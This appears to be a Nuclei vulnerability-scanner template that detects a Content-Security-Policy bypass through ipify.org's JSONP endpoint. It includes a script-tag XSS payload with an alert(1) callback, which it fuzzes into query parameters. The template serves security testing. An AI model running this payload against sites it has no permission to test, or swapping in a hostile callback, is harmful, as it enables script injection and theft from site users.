id: ipify-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Ipify API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ipify-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ipify.org"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ipify_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.ipify.org/?format=jsonp&callback=alert(1)//"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ipify_api_csp_xss == true"
# digest: 490a004630440220045f59312f4a7f710dc45b1c6691bdf12c05d157a6ce7b05665a3aa0c548c3620220438904a3027466c508fb15d48cb7d4e584ea38ba1585f945725ce0b729c1eadc:922c64590222798bb761d5b6d8e72950